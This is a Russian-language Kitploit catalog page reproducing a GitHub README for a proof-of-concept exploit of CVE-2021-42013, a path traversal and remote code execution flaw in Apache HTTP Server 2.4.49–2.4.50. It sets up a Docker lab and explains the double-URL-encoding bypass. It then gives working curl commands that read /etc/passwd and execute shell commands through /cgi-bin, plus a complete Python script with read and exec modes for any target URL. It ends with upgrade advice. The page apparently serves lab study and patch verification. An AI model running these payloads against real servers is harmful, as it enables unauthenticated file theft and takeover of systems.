Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-42013 — Эксплойт для проверки концепции уязвимости CVE-2021-42013 в Apache HTTP Server, связанной с обходом пути и удаленным выполнением кода, с лабораторной средой на основе Docker и PoC-скриптом на Python. | Kitploit
Инструменты/GitHubGitHub/eunho87/cve-2021-42013
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Эксплойт для проверки концепции уязвимости CVE-2021-42013 в Apache HTTP Server, связанной с обходом пути и удаленным выполнением кода, с лабораторной средой на основе Docker и PoC-скриптом на Python.

Репозиторий
42 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-42013

Автор

  • 석은호@eunho87

CVE-2021-42013 Обход пути в Apache http Server

Краткое описание уязвимости

Из-за ошибки в обработке нормализации путей в Apache HTTP Server 2.4.50 можно без аутентификации читать произвольные файлы или выполнять удаленный код.

Возникла из-за неполного исправления CVE-2021-41773 и обходит блокировку путей Apache с помощью двойного URL-кодирования (%%32%65).

Ссылки

  • NVD - CVE-2021-42013
  • Apache Security Advisory

Условия уязвимости

Для эксплуатации CVE-2021-42013 должны выполняться следующие условия:

  1. Apache 2.4.49~2.4.50
  2. Директива Directory в httpd.conf не установлена как Require all denied
Модуль mod_cgi включен (для RCE)

Настройка среды

root@kitploit:~
docker-compose up -d

Чтобы проверить, запущена ли среда, выполните:

root@kitploit:~
docker-compose ps

Если сервер запущен нормально, вы сможете получить доступ к http://localhost:8080.

Воспроизведение уязвимости

Для подъёма в родительскую директорию используется ../, но Apache блокирует эти символы. Чтобы обойти это, можно использовать закодированное значение точки 2e. В версии Apache 2.4.50 кодировка %2e декодируется перед проверкой, поэтому использование %2e2e приводит к блокировке, как и ../. Для обхода фильтрации необходимо использовать двойное кодирование: %%32%65.

root@kitploit:~
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"

В среде с поддержкой CGI, изменив последнюю часть на /bin/sh, можно выполнить RCE.

root@kitploit:~
curl -s --path-as-is -X POST \
  --data "echo Content-Type: text/plain; echo; id; uname -a" \
  "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"


PoC-код

Python (poc.py)

root@kitploit:~
#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse

def exploit(target_url, mode, arg):
    parsed = urlparse(target_url)
    host = parsed.hostname
    port = parsed.port or 80
    trav = "%%32%65%%32%65/" * 4
    
    if mode == "read":
        path = f"/static/{trav}{arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("GET", path)
    else:
        path = f"/cgi-bin/{trav}bin/sh"
        body = f"echo Content-Type: text/plain; echo; {arg}"
        conn = http.client.HTTPConnection(host, port, timeout=5)
        conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
    
    result = conn.getresponse().read().decode("utf-8", "replace")
    conn.close()
    return result

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
        sys.exit(1)
    print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))

Меры защиты

  • Обновить до версии Apache 2.4.51 и выше
  • Оставить Require all denied

Очистка

root@kitploit:~
docker-compose down

Скачать инструмент